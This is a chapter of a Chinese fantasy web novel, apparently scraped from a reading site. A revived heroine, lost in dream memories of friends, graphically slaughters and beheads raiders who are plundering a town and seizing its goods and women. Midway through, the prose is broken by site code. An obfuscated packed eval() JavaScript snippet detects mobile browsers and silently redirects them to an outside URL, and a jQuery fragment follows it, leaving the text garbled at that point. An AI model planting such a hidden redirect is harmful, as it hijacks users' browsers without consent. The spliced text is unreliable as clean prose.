默认冷灰
24号文字
方正启体

22. 苏生

作者:行昼寻舟本书字数:K更新时间:
    意识回归王桐花的身体。


    她勉力睁开眼睛,下意识地寻找阿祝的身影。温柔的、可怜的、单纯的阿祝,小鹿的阿祝,在哪里?


    哪里也不在。


    王桐花一无所获。她刻意忽略地上单薄的衣裳。她从烧木屋的人身上剥下的衣裳。她给阿祝的衣裳。


    王桐花不想哭,但泪水不听她的话。


    她感受到了:阿祝在她鼓动的血脉里。阿祝在她坚硬的骨头里。阿祝在她黯淡的影子里。


    但阿祝不在真实的世界上。


    阿祝再无法昂起精巧的下巴,向王桐花送来楚楚的凝望;阿祝再无法在火堆前与她互相依偎,分享彼此的温度;阿祝再无法……活着。


    身体源源不断地传来剧痛,王桐花无法挣脱房梁。


    王桐花伸手将阿祝留下的半件衣裳揽入怀中,泪水打湿衣襟,随即再度失去意识。


    两种不同的痛苦,同时折磨王桐花的身体和灵魂。


    她的意识在紫色河川和现世摇摆,她的身体在死亡和苏生之间徘徊。


    每次苏生,她的血肉被死亡锤炼得更加凝练,她的骨头被痛苦淬炼得更加坚韧。


    而她的意识渐渐偏向紫色河川那边。


    为什么不呢?


    难道现实里,兰花和棉花会和王桐花一起坐在陈老板的饭馆里吃饭吗?难道现实里,她的朋友们、阿祝、她的姐妹们和王桐花自己,会在山坡上做一次鹰掣鸡的游戏吗?难道现实里,刘婶和母亲会参观王桐花的小木屋,夸她心灵手巧吗?难道现实里,她的姐妹们能接受张师的教导吗?


    王桐花的意识沉沦在梦幻的紫川里。


    王桐花的身体挣脱房梁,站了起来。


    皆戈路律骑在马上。


    战士们已经迫不及待地钻进屋舍里搜刮了,财物也好,吃食也好,人也好,都可以供他们享乐玩耍、尽情发泄。这是英勇的战士们理应得到的奖赏!


    皆戈路律没有下马。


    这位相貌粗犷又不失英气的昆沙男子理了理自己的小辫,驭马到一名仰躺着的汉人身边。他歪头端详了汉人一会儿,欣赏他的装死技巧。


    皆戈路律勾起一个笑,轻巧地舞动长槊,割开汉人的喉咙。犹觉不够,他竖着破开汉人的肚子。


    收回长槊时,上面连一滴血、一丝衣服纤维都没沾上。


    “都仔细些,别被偷袭跌了马。”


    皆戈路律告诫自己的部下。他们都是他的同族兄弟,堂堂昆沙儿郎,不该在这座小城丢了性命。


    哪里是更好的战场呢?哪里能证明他的价值呢?他要超越自己的叔伯——皆戈莫古。


    他要为昆国带来最盛大的胜利。


    骑在马上畅想的年轻武将被想象中的荣耀晃了眼,眯眼定神,才发现自太阳升起的地方走出一个模糊的身影。


    灵敏的猎手本能地察觉到危机,他的寒毛根根竖起。


    他心里暗骂扫城的人不仔细,竟然还留下能行动的活口。


    不过嘛,只有一个人……一个人能干什么?就当是饭后消食了。


    皆戈路律在马背上活动活动筋骨,提槊冲向那个匀速前行的身影。


    有如臂使指的长槊在手,皆戈路律在冲锋时心中充满豪情。他想,他是全能的。


    靠近那个身影,皆戈路律为方才战栗的自己不齿:那分明是个女郎!


    纵然草原上的女子不乏弓马娴熟者,甚至有些女子远胜寻常男子;但是汉女?哈哈哈,汉族男子尚且软弱可欺,一日到晚只晓得吟些酸诗,女子更是讲究什么贞静娴雅。


    怎会是他一合之敌!


    骄傲的战士誓要用那女子的鲜血洗刷耻辱。


    与他相伴多年的战马闷头狂奔。对,就是这样,有这样的速度加持,他的长槊将顺畅地贯穿女子的胸膛——


    战马嘶鸣,转头逃跑。


    皆戈路律瞪大眼睛。他发了怒,用马靴上的刺踢打这匹胆小的、可耻的马;他用最严厉肮脏的昆沙话斥责它;他勒紧缰绳,强迫它掉头。


    于是这匹忠诚的战马克服了恐惧,载着它的主人一头扎进死亡。


    到底是哪里出错了?


    女子好像是跳起来了。她的动作实在太快,快到皆戈路律没能捕捉到她的动作。


    明明上一眼,女子还在不疾不徐地笔直前进;下一瞬间,她的身形就从皆戈路律的视野中消失。


    取而代之的,皆戈路律的肩膀上多出一份重量。年轻的昆沙战士被死亡的阴影笼罩。


    他咬牙调动肢体,把长槊的木柄向站在自己肩上的鬼魅捅去。


    皆戈路律很有一把子力气。他拉得开三石弓。他扳手腕从没输过。他以为自己比力气难有人能敌。


    他以为。


    马上的第二个人用左手稳稳架住木柄,而她的右手攥住了皆戈路律脑后的一把小辫。


    王桐花正和张闻弦在书院凉亭里下棋。对面的张闻弦盈盈笑着,落下一白子。


    “下这儿下这儿,桐花,听我的准没错!”娄允礼在一边叫嚷,两手乱舞。


    若是平常,王桐花不介意听她的。今天不行。


    刘婶在看呢。王桐花不想输。


    王桐花抿紧嘴巴,权当作没听见,勾得娄允礼上蹿下跳,竟劈手来夺王桐花手里的棋。


    来得好!王桐花想向刘婶炫耀自己的强壮,于是她和娄允礼打斗起来。


    王桐花侧身躲过娄允礼的一记勾爪,并顺势掣住她的手臂。


    娄允礼站着,王桐花坐着,怎么看都是娄允礼占优势。


    王桐花也得站着才行。王桐花屈膝踩凳,一蹬一窜,险之又险地躲过娄允礼的拳头,灵活地叉开双腿踩在石桌侧边,没扰乱一枚棋子。


    一旁看热闹不嫌事大的张知意拍手叫好,向二人掷了朵花。


    真是被张知意的外表骗了,她哪里是个稳重的。


    王桐花心里这么想,偏头躲开飞花,面上却在笑。


    女子躲开向她射去的箭矢。她掰断一节皆戈路律的长槊掷出,正中射箭人的心肺。


    还在挽弓的人松开弓弦,身子无力地倒下。


    皆戈路律目眦欲裂。他发出愤怒的呐喊,摆动被攥住发辫的头颅,企图脱离她的掌控;同时,皆戈路律不管不顾地调转槊尖,朝马上人刺去。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051764|194360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    弟弟又在哭了。


    王桐花不耐烦地皱眉。母亲和兰花围在弟弟身边,轻声细语地哄着。


    这是我的梦。你们不准看他!


    王桐花拧紧眉毛,母亲和兰花露出恍惚的神色。她们左右张望,竟不知方才在做什么。


    见了王桐花,二人方露出笑颜。她们冲王桐花招手,说道:“来,桐花,来。”


    女子神色木然。她提起皆戈路律的发辫,手上青筋浮现,缓缓用劲,生生将他的头颅撕扯下来,随地一丢。


    皆戈路律麾下的战士们抛下手里的金银、女人、食物冲到街上时,看见的就是这一幕。


    他们发出悲痛的呐喊,用最恶毒的语言咒骂汉族女人。他们掏出武器,一拥而上,围攻这个女人。


    烦死了,不要吵!


    王桐花躺在阿祝膝上,蜷起身体,捂住耳朵。


    阿祝轻柔地抚摸王桐花的头发,他给她唱歌,就像王桐花从前给阿祝唱歌一样。


    “正月梅花笑春来,二月桃花等人摘,三月桐花朵朵开。”


    女人飞身跃起,向她袭去的几柄长枪落了个空,反而交缠在一起。女子踩在交错的枪柄上,抬起头,阳光照在她的脸上。这个魔鬼居然在笑。


    “四月海棠点红妆,五月榴花子满堂,六月荷花自在摇。”


    女子从皆戈路律剩下的半截躯体腰间抽出一把长刀,接下来的情景简直像一场噩梦。女子的动作快到看不清,被割开喉咙的死人们眼睛里只闪过刀光残留的冷影。


    “七月兰花流芳长,八月桂花到处香,九月菊花盼重阳。”


    弓箭手的死亡比枪兵的死亡迟一步降临。他们的胸膛被属于皆戈路律的长刀凶狠地刺穿,长刀接着毫不留恋地抽离,在他们身上留下洞穿的豁口。


    “十月芙蓉好颜色,冬月茶花山遍野,腊月雪花不出门。”


    为什么?昆沙人到死也不明白。射的箭不是一只没中。女子没有躲开所有的攻击。


    她背上插着三只箭,她的手臂和腰腹鲜血淋漓。半截枪头断在她的大腿里。


    她为什么还能动?她为什么还在笑?她要去哪里?


    王兰花和王棉花把王桐花围住,她们细心地一一取下粘在王桐花身上的草叶。


    女人扯下身上的箭矢和枪头。斑斑血迹洒在地上。她好像饿了。


    张师和陈老板笑着递给王桐花一个木匣,示意王桐花打开。原来里面装的是点心!


    女人闯进屋舍里,拿起食物就塞进嘴里,没熟的生米也塞,没烹饪的面粉也塞。一家吃完了,女人晃晃悠悠地起身,前往下一家。


    吃完点心,小灰在山坡呼唤王桐花,她喊:“嗷呜嗷呜~”


    于是王桐花朝小灰跑去。她快活地问:“小灰,我们去哪儿?”


    小灰不回答,狼当然不会说话。一人一狼向远方跑去。


    女子走在前面,一头黑狼追在她后边。


    黑狼试图咬住女子的裤腿,但女子仍然一味向前走。


    黑狼试图呼唤女子回头,但女子仍然一味向前走。


    黑狼跟在女子后边,和她一起向远方走去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)